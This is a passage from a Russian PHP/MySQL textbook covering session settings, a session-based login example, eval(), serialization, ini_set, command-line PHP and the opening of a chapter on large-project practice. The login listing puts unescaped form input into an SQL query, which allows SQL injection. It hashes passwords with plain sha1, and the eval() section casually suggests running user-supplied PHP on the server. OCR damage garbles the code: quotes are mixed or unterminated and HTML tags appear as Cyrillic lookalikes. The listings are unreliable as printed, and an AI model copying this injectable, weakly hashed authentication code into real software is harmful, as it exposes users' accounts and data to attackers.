Таблица 23.1. Параметры конфигурации сеансов Имя параметра По умолчанию Действие session.auto_start 0 (отключено) Автоматический запуск сеансов. session.cache_expire 180 Установка времени жизни для кэшированных страниц сеанса (в минутах). session.cookie_domain нет Домен для установки в cookie-наборе сеанса. session.cookie_lifetime 0 Продолжительность действия cookie-набора идентификатора сеанса на машине пользователя. По умолчанию 0 — пока не будет закрыт браузер. session.cookie_path / Путь для установки в cookie-наборе сеанса. session.name PHPSESSID Имя сеанса, которое в системе пользователя ис- пользуется как имя cookie-набора. Session.save_handler файлы Место хранения данных сеанса. Здесь можно указать базу данных, однако для этого потребу- ется реализовать собственные функции. session.save_path И II Путь к месту хранения данных сеанса. Выражаясь более обобщенно — аргумент, передаваемый об- работчику session.save_handler. session.use_cookies 1 (разрешено) Конфигурирует сеансы для использования cookie-наборов на стороне клиента. session.cookie_secure 0 (запрещено) Указывает, должны ли передаваться cookie-дан- ные только по защищенным подключениям. session.hash_function 0 (MD5) Позволяет указать алгоритм хеширования для генерации идентификаторов сеанса. 0 означает MD5 (128 битов), а 1 означает SHA-1 (160 битов). Этот параметр введен в РНР 5. Реализация аутентификации средствами управления сеансами В завершение рассмотрим более важный пример использования концепции управления сеансами. Пожалуй, чаще всего управление сеансами применяется для хранения информации о пользователях после их аутентификации через механизм входной регистрации. В пред- лагаемом примере сочетаются аутентификация с помощью базы данных MySQL и ис- пользование механизма управления сеансами. Эти возможности составят основу проек- та в главе 27, а впоследствии будут применяться и в других проектах. В нашем примере будет использована база данных аутентификации, созданная в главе 17. Для освежения в памяти подробностей, касающихся этой базы данных, обратитесь к листингу 17.3. Пример состоит из трех простых сценариев. Первый, authmain. php, обеспечивает форму для входной регистрации и аутентификации пользователей веб-сайта. Второй, members only.php, предоставляет информацию только для тех пользователей, кото- рые успешно прошли входную регистрацию. Третий, logout.php, реализует выход пользователя из системы. 490 Часть IV. Более сложные технологии РНР
Чтобы понять, как все это работает, достаточно посмотреть на рис. 23.4. Это ис- ходная страница, выводимая сценарием authmain.php. Рис. 23.4. Поскольку пользователь еще не зарегистрировался, для него отображается страница входной регистрации Данная страница предоставляет пользователю возможность зарегистрироваться и войти в систему. Если он попробует перейти к разделу, предназначенному только для авторизованных пользователей, минуя входную регистрацию, будет выдано сообще- ние, показанное на рис. 23.5. Рис. 23.5. Не прошедшим входную регистрацию пользователям не разрешен просмотр содержимого сайта — вместо этого они увидят данное сообщение Если же пользователь сначала регистрируется (с именем пользователя testuser и паролем password, как было определено в главе 17), а потом попытается войти на страницу, предназначенную только для авторизованных пользователей, он увидит со- общение, показанное на рис. 23.6. Рассмотрим код этого приложения. Большая часть кода сосредоточена в сценарии authmain.php, который показан в листинге 23.4. Давайте проанализируем его. Глава 23. Управление сеансами в РНР 491
Рис. 23.6. После успешного входа пользователь может просмотреть части сайта, доступные только для зарегистрированных пользователей Листинг 23.4. authmain.php — основная часть приложения аутентификации <?php session_start(); if (isset($_POST['userid’]) && isset($_POST[’password’])) { // Если пользователь как раз пытался зарегистрироваться $userid = $_POST[’userid’] ; $password = $_POST[’password’]; $db_conn = new mysqli(’localhost’, ’webauth’, ’webauth’, ’auth'); if (mysqli_connect_errno ()) { echo 'Невозможно подключиться к базе данных: '.mysqli_connect_error (); exit () ; } $query = 'select * from authorized_users ' . ’"where name='$userid’ " . " and password=shal('$password') $result = $db_conn->query($query); if ($result->num_rows >0) { // Если пользователь найден в базе данных, регистрируем его идентификатор $_SESSION['valid_user'] = $userid; } $db_conn->close() ; } ?> <html> <body> <Ь1>Домашняя страница</Ъ1> if (isset ($_SESSION['valid_user'])) { echo 'Вы вошли как ' .$_SESSION[ ’valid_user ’ ] . ’<br />'; echo ’<a href="logout.php">Выход</а><Ьг />’; } else { if (isset($userid)) { // Была предпринята неудачная попытка зарегистрироваться echo ’Вход невозможен.<br />’; * 492 Часть IV. Более сложные технологии РНР
} else { // Пользователь либо не пытался войти, либо уже вышел echo ’Вы не вошли в систему.<br /><Ьг />’; } // Форма для входа в систему echo '<form method=*"post" action=”authmain .php"xtable> ’ ; echo ’ <trXtd>WMH:</td>’; echo ' <tdxinput type="text" name=’’userid"X/tdX/tr> ’; echo ’ <trxtd>naponb: </td> ’; echo ’ <tdxinput type="password” name=’’password”x/tdx/tr> ’; echo ' <tr><td colspan="2” align=”center”>'; echo ’ cinput type="submit" value="Bxofl"></tdx/tr> ’; echo ’</table></form>’; } <br /> <a Ьге1="тетЬег8_оп1у.рЬр”>Раздел для зарегистрированных пользователей</а> </body> </html> Логика данного сценария довольно-таки сложна, так как здесь осуществляется вы- вод формы для входной регистрации и ее обработка, а также содержится HTML-код для успешной и неудачной попыток аутентификации. Работа этого сценария сосредоточена вокруг переменной сеанса $valid_user. Основная идея заключается в следующем: если кто-либо успешно прошел процедуру аутентификации, регистрируется переменная сеанса с именем $_SESSION [ ’$valid_ user ’ ], которая хранит идентификатор пользователя. Первое, что выполняется в сценарии — вызов session start (). Эта функция загру- жает переменную сеанса $valid_user, если эта переменная была создана. При первом проходе по сценарию ни одно из условий if не выполняется, и управ- ление сразу переходит в конец сценария, где выдается сообщение о том, что пользо- ватель не вошел в систему, и отображается форма, с помощью которой он может это сделать: echo '<form method=”post" action=’’authmain.php’’xtable>’ ; echo ' <trxtd>HM«:</td>'; echo ’ ctdxinput type=’’text” name=”userid”x/tdx/tr> ’; echo ' <ЬгХЬЬ>Пароль :</td>’ ; echo ' <tdxinput type="password" name="password’’x/tdx/tr> ’; echo ’ <trxtd colspan=”2” align=”center”>’; echo ' <input type=”submit” value="Bxofl’'x/tdx/tr>’; echo ’ </tableX/form> ’; Когда пользователь щелкнет на кнопке отправки формы (с надписью Вход), сце- нарий вызывается заново, и все повторяется с начала. На этот раз будут доступны имя пользователя и пароль, позволяющие его аутентифицировать, которые хранят- ся в $_POST [ ’userid’ ] и $_POST [ ’password’ ]). Если эти переменные установлены, управление передается к блоку аутентификации: if (isset($_POST[’userid’]) && isset($_POST[’password’])) { // Если пользователь как раз пытался зарегистрироваться $userid = $_POST[’userid’]; $password = $_POST[’password’]; $db_conn = new mysqli('localhost', ’webauth’, ’webauth’, ’auth’); Глава 23. Управление сеансами в РНР 493
if (mysqli_connect_errno()) { echo ’Невозможно подключиться к базе данных: '.mysqli_connect_error(); exit(); } $query = ’select * from authorized_users ’ . "where name='$userid' " . " and password^shal (’ $password’) $result = $db_conn->query($query); Далее осуществляется подключение к базе данных MySQL, и проверяются имя пользователя и пароль. Если в базе данных есть такая пара, создается переменная $_SESSION[ 'valid user' ], содержащая идентификатор для конкретного пользова- теля — таким образом, мы всегда будем знать, кто вошел в систему. if ($result->num_rows > 0) { // Если пользователь найден в базе данных, регистрируем его идентификатор $_SESSION[’valid_user’] = $userid; } $db_conn->close(); ' } Поскольку теперь пользователь известен, то повторно предоставлять ему форму входной регистрации нет необходимости. Вместо этого пользователю сообщается, что мы знаем, кто он такой, и даем ему возможность при желании выйти из системы: if (isset($_SESSION['valid_user’])) { echo 'Вы вошли как ’.$_SESSION['valid_user’].’<br />'; echo '<a href="logout.рЬр">Выход</а><Ьг />'; } Если же попытка входа пользователя по какой-то причине потерпела неудачу, то у нас имеется идентификатор пользователя, но нет переменной $_SESSION[ 'valid user' ], поэтому можно выдать сообщение об ошибке: if (isset($userid)) { // Была предпринята неудачная попытка зарегистрироваться echo 'Вход невозможен.<Ьг />'; } С главным сценарием покончено. Посмотрим теперь на страницу “только для за- регистрированных пользователей”. Код этого сценария показан в листинге 23.5. Листинг 23.5. members_only. php — код раздела для зарегистрированных пользователей в процедуре проверки достоверности пользователя <?php session_start(); echo '<Ь1>Только для зарегистрированных пользователей</Ь1>'; // Проверка переменной сеанса if (isset($_SESSION['valid_user'])) { echo '<р>Вы вошли как '.$_SESSION['valid_user'].'</p>'; echo ’<р>Далее следует содержимое, предназначенное только' . ' для зарегистрированных пользователей.</р>'; } else { echo '<р>Вы не вошли в систему.</р>'; echo '<р>Эта страница для вас недоступна.</р>'; } echo '<а href="authmain.php">Ha главную страницу</а>'; ?> 494 Часть IV. Более сложные технологии РНР
Этот код просто запускает сеанс и проверяет, зарегистрирован ли пользователь в текущем сеансе, т.е. проверяет, установлено ли значение $_SESSION ['valid_user' ]. Если пользователь вошел в систему, отображается содержимое сайта, предназначен- ное только для зарегистрированных пользователей, в противном случае пользовате- лю сообщается, что у него нет прав просматривать это содержимое. И в завершение рассмотрим сценарий logout.php, который осуществляет выход пользователя из системы. Код сценария показан в листинге 23.6. Листинг 23.6. logout.php — разрегистрация переменной сеанса и уничтожение сеанса <?php session_start (); // сохранение для проверки, *входил ли* пользователь в систему $old_user = $_SESSION[’valid_user’]; unset($_SESSION[’valid_user’]); session_destroy(); ?> <html> <body> <Ы>Выход</Ы> <?php if (!empty($old_user)) { echo 'Успешный выход.<br />'; } else { // Если пользователь не входил в систему, //но каким-то образом попал на эту страницу echo ’Вы не входили в систему, потому и выходить из нее не нужно.<Ьг />’; } ?> <а href="authmain.php">Ha главную страницу</а> </body> </html> Приведенный код довольно прост, хотя и содержит некоторые тонкие моменты. Мы запускаем сеанс, запоминаем старое имя пользователя, разрегистрируем перемен- ную $valid_user и завершаем сеанс. После этого мы выдаем пользователю сообщение, смысл которого зависит от того, вышел ли он из системы, или даже не входил в нее. Рассмотренный простой набор сценариев служит основой для многих проектов, разработкой которых мы займемся в последующих главах. Дополнительные источники информации Дополнительную информацию о cookie-наборах можно найти по адресу http: / / wp.netscape.com/newsref/std/cookie_spec.html. Что дальше Очередная часть книги практически завершена. Однако прежде чем переходить к проектам, мы кратко рассмотрим некоторые полезные мелочи РНР, которые до сих пор еще не упоминались. Глава 23. Управление сеансами в РНР 495
24 Другие полезные возможности В этой главе рассказано о тех возможностях и функциях РНР, которые не подпадают под какую-либо определенную категорию. В главе рассматриваются следующие темы. Выполнение команд, содержащихся в строке, с помощью функции eval (). Прекращение выполнения с помощью die и exit. Сериализация переменных и объектов. Получение информации о среде РНР. Временное изменение среды выполнения. Загрузка расширений РНР. Выделение цветом элементов исходного кода. Использование РНР в командной строке. Выполнение команд, содержащихся в строке, с помощью функции eval () Функция eval () выполняет строку как РНР-код. Например, вызов eval("echo ’Приветствуем всех на нашем сайте!; выполняет оператор, содержащийся в строке. Эта строка выведет точно то же, что и echo ’Приветствуем всех на нашем сайте! ’; Функция eval () может оказаться полезной во многих случаях. Например, можно сохранить фрагмент кода в базе данных, а затем прочитать и выполнить его с помо- щью eval (); можно сгенерировать код в цикле, а затем с помощью той же функции eval () выполнить его. Наиболее часто функция eval () используется в системе генерации шаблонов. Смесь из HTML, РНР и простого текста можно загружать из базы данных. Затем сис- тема генерации шаблонов форматирует это содержимое и выполняет РНР-код с помо- щью eval(). 496 Часть IV. Более сложные технологии РНР
Функцию eval () можно применять для обновления или корректировки сущест- вующего кода. Если есть большой набор сценариев, требующих однотипных изме- нений, можно (хотя это и не особенно эффективно) написать сценарий, который будет загружать старый сценарий в строку, вносить изменения с помощью regexp и затем запускать измененный сценарий с использованием eval (). Возможна даже Ситуация, когда (очень надежный) пользователь вводит PHP-код в браузере и запускает его на сервере. Прекращение выполнения с помощью die и exit До сих пор в этой книге для останова выполнения сценария применялся оператор exit. Он имеет следующий вид: exit; и ничего не возвращает. Вместо этого оператора можно использовать его псевдоним die(). Чтобы завершение программы было более информативным, функции exit () можно передать параметр. Это позволит вывести сообщение об ошибке или запустить другую функцию до останова сценария. Аналогичные возможности имеются в языке Perl. Вот один из примеров: exit(’Сценарий завершен’); Однако чаще exit комбинируется с использованием операции OR с выражением, которое может завершиться неудачей, например, открытие файла или подключение к базе данных: mysql_query($query) or die(’Невозможно выполнить запрос’); Вместо того чтобы просто вывести сообщение, перед завершением сценария можно запустить единственную функцию: function err_msg() { return ’Номер ошибки MySQL: ’ . mysql_error () ; } mysql_query($query) or die(err_msg()); Такой подход позволяет вывести пользователю причину, по которой сценарий за- вершился неудачей, или, например, закрыть HTML-дескрипторы либо очистить не до конца сгенерированную страницу в буфере. Можно также отправить себе сообщение об ошибке по электронной почте, доба- вить его в журнал или сгенерировать исключение. Сериализация переменных и объектов Сериализация (serialization) представляет собой процесс превращения содержимого переменной или объекта РНР в поток байтов, который можно сохранить в базе дан- ных или передавать от одной веб-страницы к другой. Без этой возможности было бы трудно сохранить или переслать целиком содержимое массива или объекта. Глава 24. Другие полезные возможности 497
Полезность этого свойства несколько уменьшилась с появлением механизма управ- ления сеансами. Сериализация в основном предназначена для того, для чего теперь служит управление сеансами. На самом деле функции управления сеансами сериализи- руют переменные сеанса, чтобы сохранять их между НТТР-запросами. Тем не менее, может возникнуть необходимость сохранить массив или РНР-объект в файле или базе данных. В этом случае необходимо знать, как действуют две функ- ции: serialize() и unserialize(). Вызов функции serialize () имеет следующий вид: $serial_object = serialize($my_object); Чтобы понять, что происходит при сериализации, достаточно посмотреть на зна- чение, возвращаемое этой функцией. Она превращает содержимое объекта или мас- сива в строку. Например, можно запустить функцию serialize () для простого объекта employee, определенного следующим образом: class employee { var $name; var $employee_id; }; $this_emp = new employee; $this_emp->name = 'Матроскин'; $this_emp->employee_id = 5324; Если сериализировать этот объект и вывести результат в браузер, то получим: 0:8:"employee":2:{s:4:"name";s:9:"Матроскин";s:11:"employee_id";i:5324;} Взаимосвязь между исходным объектом и сериализованными данными очевидна. Поскольку сериализованные данные представляют собой обычный текст, его мож- но записать в базу данных или распорядиться ним любым другим образом. Перед запи- сью в базу данных следует воспользоваться функцией mysql_real_escape_string (), поскольку сериализованная строка изобилует кавычками. Чтобь! снова получить объект, необходимо воспользоваться обратной функцией — unserialize(): $new_object = unserialize($serial_object); При сериализации объектов или их использовании в качестве переменной сеанса необходимо помнить, что РНР для восстановления экземпляра класса нужна инфор- мация о его структуре. Значит, в тексте сценария перед вызовом session start () или unserialize () должен быть включен файл с определением класса. Получение информации о среде РНР Для получения информации о том, как сконфигурирован РНР, существует несколь- ко функций. Определение загруженных расширений Доступные наборы функций, а также конкретные функции в каждом из этих наборов легко определить с помощью функций get_loaded_extensions () и get_extension_funcs(). 498 Часть IV. Более сложные технологии РНР
Функция get_loaded_extensions () возвращает массив, содержащий все набо- ры функций, доступные РНР в текущий момент. Если в качестве параметра функции get_extension_funcs () передать имя конкретного набора или расширения, она воз- вратит массив имен функций в этом наборе. С помощью этихущух функций сценарий, приведенный в листинге 24.1, выводит список всех функций, доступных в текущей инсталляции РНР. Листинг 24.1. list_functions .php — этот сценарий выводит все расширения, доступные РНР, а для каждого расширения — список содержащихся в нем функций <?php echo ’Наборы функций, доступные в данной инсталляции:<br />’; $extensions = get_loaded_extensions(); foreach ($extensions as $each_ext) { echo "$each_ext <br />"; echo *<ul>’; $ext_funcs = get_extension_funcs($each_ext); foreach($ext_funcs as $func) { echo "<li>$func</li>"; } echo *</ul>’; } ?> Обратите внимание, что функция get_loaded_extensions () вообще не прини- мает параметров, а функции get_extension_funcs () нужен только один параметр — имя расширения. Подобная информация может оказаться полезной, если необходимо определить, успешно было ли установлено расширение, либо когда вы разрабатываете переноси- мый код, который генерирует полезные информативные сообщения во время своей инсталляции. Определение владельца сценария Определить пользователя, являющегося владельцем запущенного сценария, можно с помощью функции get_current_user (): echo get_current_user() ; Такая информация может понадобиться при разрешении вопросов с правами доступа. Определение даты последнего изменения сценария Сейчас очень модно помещать на каждую страницу сайта дату ее последней моди- фикации. Для определения даты последнего изменения сценария используется функция getlastmod() (обратите внимание на отсутствие символов подчеркивания в имени функции): echo date (’ g: i a, jMY’, getlastmod () ) ; Функция возвращает метку времени Unix, которую можно преобразовать ее в бо- лее читабельный формат с помощью функции date (). Глава 24. Другие полезные возможности 499
Временное изменение среды выполнения Набор директив в файле php. ini можно просматривать и изменять во время вы- полнения сценария. Это может весьма пригодиться, например, для подстройки дирек- тивы max execution time, когда необходимо увеличить допустимое время выполне- ния сценария. Просматривать и изменять директивы можно с помощью функций ini get () и ini set (). Пример использования этих функций показан в простом сценарии в лис- тинге 24.2. Листинг 24.2. iniset.php — этот сценарий изменяет значения директив из файла php.ini <?php $old_max_execution_tirae = ini_set(’max_execution_time’, 120); echo "Старый лимит времени: $old_max_execution_time <br />"; $max_execution_time = ini_get(’max_execution_time’); echo "Новый лимит времени: $max_execution_time <br />"; '?> Функция iniset () принимает два параметра. Первый — это имя изменяемой кон- фигурационной директивы из файла php. ini, а второй — ее новое значение. Функция возвращает предыдущее значение этой директивы. В данном случае значение максимального времени выполнения сценария вместо 30 секунд по умолчанию (или другого значения, установленного р php. ini) устанавли- вается равным 120 секундам. Функция ini get () просто возвращает значение директивы, имя которой пере- дается в параметре как строковое выражение. В сценарии эта функция используется только для проверки того, что значение директивы действительно изменилось. Таким способом могут быть установлены не все INI-параметры. С каждой опцией связан уррвень, на котором она может быть установлена. Ниже перечислены возмож- ные уровни. . PHP INI USER — эти значения можно изменять в сценариях с помощью ini_set(). PHP INI PERDIR — эти значения можно изменять в файлах php.ini либо .htaccess или httpd. conf, если используется Apache. Факт, что вы можете из- менять их в файлах .htaccess, означает возможность модификации значений на уровне каталогов (отсюда и название). PHP—INI SYSTEM — эти значения можно изменять в файлах php.ini или httpd. conf. PHP INI ALL — эти значения можно изменять в любом из перечисленных выше мест, т.е., в сценарии, в файле .htaccess и в файлах httpd. conf или php. ini. Полный список INI-параметров и уровней, на которых они могут быть изменены, доступен в руководстве РНР по адресу http: //www.php.net/ini_set. 500 Часть IV. Более сложные технологии РНР
Выделение цветом элементов исходного кода В состав РНР входит система выделения цветом синтаксиса, как это сделано во многих интегрированных средах разработки. Она очень удобна для передачи кода другим разработчикам или опубликования его на веб-странице для обсуждения. Функции showsource () и highlight file () идентичны. (На самом деле show source () является псевдонимом функции highlight f ile ().) В качестве пара- метра обеим функциям передается имя файла. (Этот файл должен содержать РНР-код, иначе получится бессмысленный результат.) Рассмотрим пример: show_source('list_functions.php’); Переданный функции файл отображается в браузере, причем фрагменты текста выделяются различными цветами в зависимости от того, являются ли они строкой, комментарием, ключевым словом или HTML-дескриптором. Все это выводится на фоне заданного цвета. Содержимое, не подпадающее ни под одну из перечисленных категорий, выводится цветом по умолчанию. Функция highlight string () работает аналогично, но ее аргументом является строка, а результатом — вывод в браузере в формате с выделенным синтаксисом. Цвета для выделения синтаксиса можно установить в файле php .ini. Соответствую- щий раздел файла выглядит следующим образом: ; Colors for Syntax Highlighting mode ; Цвета для режима выделения синтаксиса highlight.string = #DD0000 highlight.comment = #FF9900 highlight.keyword = #007700 highlight.bg = #FFFFFF highlight.default = #0000BB highlight.html = #000000 Цвета определяются в стандартном для HTML RGB-формате. Использование РНР в командной строке Многие короткие программы можно выполнять в командной строке. В среде Unix такие программы обычно написаны на языке сценариев оболочки или Perl, а в среде Windows они имеют вид командных файлов. Возможно, вы обратились к РНР из-за необходимости выполнения проектов для Web, однако те возможности, которые делают РНР мощным инструментом для Web, позволяют рассматривать его и как полезную утилиту командной строки. Существуют три способа запуска PHP-сценария из командной строки: из файла, че- рез конвейер и непосредственно в командной строке. Для выполнения PHP-сценария, которых хранится в файле, необходимо убедиться, что путь к исполняемому файлу PHP-интерпретатора (php или php. ехе, в зависимости от операционной системы) находится в пути поиска, а затем вызвать его и указать в качестве параметра имя файла сценария. Например: php myscript.php Глава 24. Другие полезные возможности 501
Файл myscript.php представляет собой обычный PHP-сценарий, т.е. содержит нормальные операторы внутри дескрипторов РНР. Для передачи кода через конвейер необходимо запустить любую программу, кото- рая генерирует РНР-код, и передать по конвейеру ее выходные данные исполняемому файлу php. В следующем примере с помощью команды echo генерируется одностроч- ная программа, которая затем выполняется: echo ’<?php for($i=l; $i<10; $i++) echo $i; ?>’ I php И здесь РНР-код должен быть заключен в пару дескрипторов РНР (<?php и ?>). Также обратите внимание, что в приведенном примере echo — это Unix-программа, а не языковая конструкция РНР. Короткие однострочные программы проще передавать непосредственно в команд- ной строке, как показано ниже: php -г ’for($i=l; $i<10; $i++) echo $i; ’ Здесь ситуация несколько иная. РНР-код, передаваемый в строке, не заключен в дескрипторы РНР. Если вы попытаетесь поместить этот код между <?php и ?>, возник- нет синтаксическая ошибка. Количество полезных PHP-программ, которые можно записать в командной стро- ке, практически не ограничено. Можно создать программы установки разработанных вами PHP-приложений. Вы можете на скорую руку набросать сценарий, форматирую- щий текст перед его помещением в базу данных. Вы можете даже подготовить сцена- рий, выполняющий множество повторяющихся задач, которые вам приходится вы- полнять ежедневно в командной строке; хорошим кандидатом на оформление в виде сценария командной строки может быть копирование всех PHP-файлов, файлов изо- бражений и структур таблиц MySQL с веб-сервера, предназначенного для разработки, на производственный веб-сервер. Что дальше В части V рассматриваются несколько относительно сложных проектов, реализо- ванных с использованием РНР и MySQL. Они представляют собой полезные приме- ры решения широко распространенных задач и демонстрируют применение РНР и MySQL для разработки больших проектов. В главе 25 рассмотрены основные вопросы, возникающие при создании больших проектов на РНР, в том числе такие принципы разработки программного обеспече- ния, как проектирование, документирование и управление изменениями. 502 Часть IV. Более сложные технологии РНР
Реальные проекты на РНР и MySQL В ЭТОЙ ЧАСТИ... Глава 25. Использование РНР и MySQL в крупных проектах Глава 26. Отладка Глава 27. Реализация задачи аутентификации и персонализации посетителей Глава 28. Разработка покупательской тележки Глава 29. Разработка службы веб-почты Глава 30. Разработка диспетчера списков рассылки Глава 31. Разработка веб-форумов Глава 32. Генерация персонифицированных PDF-документов Глава 33. Подключение к веб-службам с помощью XML и SOAP Глава 34. Создание приложений Web 2.0 с помощью Ajax
Использование РНР и MySQL в крупных проектах В предыдущих частях книги обсуждались различные компоненты и случаи ис- пользования РНР и MySQL. Мы старались сделать все примеры интересными и актуальными, однако они довольно просты и включали в себя один, два, реже три сценария длиной в какую-нибудь сотню строк кода. Разработка реальных Web-приложений редко бывает настолько простой. Еще не- сколько лет назад “интерактивный” Web-сайт предоставлял возможность отправки формы по электронной почте, и это рассматривалось как нечто из ряда вон выхо- дящее. В наши дни Web-сайты превратились в Web-приложения, другими словами, стали настоящими программными средствами, доступными через Web. В результате вместо коротких сценариев Web-сайты содержат многие тысячи строк кода. Проекты подобного масштаба требуют тщательного планирования и управления в такой же степени, как и проекты по разработке любых других программных систем. Прежде чем приступить к обзору проектов, рассмотрим некоторые технологии управления крупными Web-проектами. Это постоянно развивающееся искусство, и, как показывает изучение рынка, постигнуть его не так-то просто. В главе, помимо прочих, рассматриваются следующие темы. Применение методов проектирования программного обеспечения при разра- ботке Web-приложений. Планирование и сопровождение проекта Web-приложения. Повторное использование кода. Написание удобного в сопровождении кода. Управление версиями. Выбор среды разработки. Документирование проектов. Моделирование. Разделение логики, содержимого и представления: РНР, HTML и CSS. Оптимизация кода. 504 Часть V. Реальные проекты на РНР и MySQL
Применение методов проектирования программного обеспечения при разработке Web-приложений Возможно, вам уже известно, что проектирование представляет собой примене- ние методов систематизации и количественных измерений к разработке программ- ных средств. Другими словами, это приложение принципов проектирования в отно- шении разработки программ. Отметим, что данный подход явно отсутствует во многих Web-проектах, и это вы- звано двумя основными причинами. Во-первых, разработка Web-приложений зачас- тую напоминает создание какого-то отчета. Она предполагает построение структуры документа, графическое оформление и публикацию. Такой подход ориентирован на документ. Он вполне приемлем для статических сайтов малых и средних размеров. Однако, с возрастанием динамического содержимого Web-сайтов до уровня, когда они предоставляют не столько документы, сколько службы, данный принцип стано- вится непригодным. Многим вовсе не приходит в голову воспользоваться принципа- ми проектирования программного обеспечения. Вторая причина состоит в том, что условия разработки Web-приложений во многом отличаются от разработки обычных программных систем. Работа ведется в исключительно сжатые сроки и под постоянным прессингом, дескать, создать сайт следует немедленно. Ведение проектов обычных программ предполагает по- следовательность и методичность, а на планирование специально выделяется время, причем немалое. При разработке Web-проектов часто господствует ощущение, что на планирование вообще нету времени. Отсутствие планирования Web-проектов приводит к таким же результатам, как и при отсутствии планирования для разработки любых других программных систем: ошибки в коде, нарушение ранее оговоренных сроков и код, совершенно не удобный для чтения. Трудность заключается в выборе методов сопровождения проектов программного обеспечения, пригодных для разработки Web-приложений, и отказе от применения всех остальных методов. Планирование и сопровождение проекта Web-приложения Универсального метода планирования жизненного цикла Web-проектов не сущест- вует. Однако имеется ряд моментов, которые должны быть учтены. Ниже приводит- ся их перечень, а более подробное обсуждение содержится в последующих разделах. Необязательно следовать этим рекомендациям в порядке их изложения, если это не особенно подходит к определенному проекту. Главное здесь состоит в том, чтобы иметь представление о данных вопросах и выбирать рекомендации, применимые к конкретному случаю. Для начала следует тщательным образом продумать конечную цель создавае- мого продукта. Необходимо предельно четко уяснить конечные цели. Многие технически совершенные Web-проекты с треском провалились именно потому, что никто не проверил, существуют ли пользователи, заинтересованные в при- ложениях подобного рода. Глава 25. Использование РНР и MySQL в крупных проектах 505
Постарайтесь разбить приложение на отдельные компоненты. Каковыми будут . этапы разработки приложения? Как будет действовать каждый компонент? Как компоненты будут взаимно дополнять друг друга? Здесь помогут сценарии, эски- зы и даже случаи использования (use cases). После составления списка компонентов необходимо выяснить, какие из них уже существуют. Если ранее созданный модуль обладает требуемыми функция- ми, возможно, имеет смысл воспользоваться именно им. Не забывайте искать готовый код как в своей организации, так и за ее пределами. В частности, сооб- щество открытого исходного кода (Open Source community) бесплатно предла- гает великое множество компонентов. Определите, какой код придется созда- вать с нуля, и, приближенно, насколько трудоемкой окажется эта задача. Продумайте организацию самого процесса разработки. В Web-проектах этим шагом зачастую пренебрегают. Здесь подразумеваются стандарты написания кода, структура каталогов, управление версиями, среда разработки, уровень и стандарты документирования, а также распределение задач между членами группы разработчиков. На основе ранее изложенных соображений постройте модель. Продемонстрируй- те ее пользователям. Внесите, если необходимо, в модель требуемые изменения. Помните, что на всех этапах важно разделять содержимое и логику приложе- ния. Эта идея более подробно рассматривается далее в главе. Выполните необходимую оптимизацию. Выполняйте тестирование настолько же тщательно, как и в отношении любого другого программного проекта. Многократное использование кода Программисты часто по ошибке или по неведению создают код, который уже су- ществует. Если известны необходимые компоненты приложения либо хотя бы необ- ходимая функциональность, перед тем как приступить к разработке, проверьте, что имеется в наличии. Иногда программисты повторно реализуют функции просто потому, что не удосу- жились как следует прочитать руководство, а на самом деле имеются функции, кото- рые предоставляют необходимые возможности. Всегда обеспечивайте возможность быстрого вызова руководства в интерактивном режиме. Однако имейте в виду, что интерактивное руководство обновляется довольно часто. Кроме того, такое руково- дство содержит ссылки, что делает его великолепным ресурсом с комментариями, ре- комендациями и примерами кода, предоставленными другими пользователями. Оно часто содержит ответы на вопросы, которые обычно возникают после чтения основ- ной страницы руководства, а также отчеты об ошибках и пути их обхода до того, как ошибки будут исправлены или документированы. Руководство по РНР на русском языке доступно по адресу: http://www.php.net/manual/ru/ Первоисточник руководства на английском языке находится ’по адресу: http://www.php.net/manual/en/ 506 Часть V. Реальные проекты на РНР и MySQL
Некоторые неанглоязычные программисты поддаются искушению писать функ- ции-оболочки, которые фактически присваивают PHP-функциям новые имена на родном для разработчика языке. Эту практику часто называют синтаксическим сахаром (syntactic sugar). Так делать не рекомендуется — это усложняет чтение и сопровожде- ние кода другими программистами. Если вы изучаете новый язык, учитесь правильно его использовать. Кроме того, подобное добавление дополнительного уровня вызова функций замедляет выполнение кода. С учетом всех обстоятельств, подобного подхо- да следует избегать. Если выяснилось, что необходимые функциональные возможности не обеспечи- ваются базовой библиотекой РНР, существуют два пути. Для простых задач имеет смысл разработать собственную функцию или объект. Однако при написании доста- точно сложного кода, такого как покупательская тележка, система электронной поч- ты для Web или Web-форум, нередко обнаруживается, что работа уже кем-то продела- на. Одно из преимуществ работы с сообществом открытого исходного кода состоит в том, что код компонентов приложений такого типа, как правило, распространяется совершенно бесплатно. Если найден компонент, похожий на требуемый, пусть даже и не полностью совпадающий, можно просмотреть исходный код и на его основе вы- полнить модификацию или написать собственную программу. После завершения разработки собственных функций или компонентов имеет смысл всерьез задуматься над тем, чтобы предоставить их сообществу разработчиков на РНР. Именно данный принцип и делает сообщество разработчиков на PEJP таким полезным, активным и информированным. Написание удобного в сопровождении кода Проблема сопровождения кода в Web-приложениях зачастую игнорируется. Обычно это происходит по причине поспешного написания кода. Быстро начать и завершить работу иногда представляется более важным, нежели выполнять предва- рительное планирование. Однако небольшие затраты времени в начале могут сэконо- мить много времени в дальнейшем, когда потребуется создавать последующие версии приложения. Стандарты написания кода Большинство крупных организаций, работающих в сфере информационных тех- нологий, устанавливают собственные стандарты кодирования — правила именования файлов и переменных, написания комментариев, применения выравнивания в коде и прочие моменты. Поскольку в недалеком прошлом разработка Web-приложений основывалась на понятии документа, стандартами кодирования в этой области нередко пренебрегали. Когда код пишется самостоятельно либо силами небольшой группы программистов, значение стандартизации очень легко недооценить. Однако так не следует поступать, поскольку состав рабочей группы и масштаб проекта могут возрасти. В конечном итоге получится некий хаос, и программисты попросту не сумеют разобраться в су- ществующем коде. Определение правил именования Цели выработки правил именования заключаются в следующем. Глава 25. Использование РНР и MySQL в крупных проектах 507
Сделать код простым для восприятия. Осмысленное именование переменных и функций позволяет читать код почти как обычный текст или, минимум, псев- докод. Упростить запоминание идентификаторов. Если идентификаторы сформирова- ны единообразно, будет проще вспомнить название определенной переменной или функции. Имена переменных должны описывать данные, которые они содержат. Если в переменной хранится фамилия, назовите ее $ surname. Необходимо найти оптималь- ное соотношение между краткостью и читабельностью имен. Например, сохранение имени в переменной $п упростит набор кода, однако усложнит его понимание. Имя $surname_of_the_current_user (фамилия текущего пользователя) более информа- тивное, но неоправданно длинное (неудобно набирать, к тому же выше вероятность допустить опечатку при наборе). Необходимо выработать правила использования регистра символов. Как уже упо- миналось, в РНР имена переменных зависят от регистра. Потребуется решить, как будут записываться имена переменных: в нижнем регистре, верхнем регистре либо й их комбинации. Например, можно принять, что первые буквы слов будут пропис- ными. Мы предпочитаем использовать только нижний регистр, поскольку это проще для запоминания. Неплохо использовать регистр для различения переменных и констант. Обычно для переменных 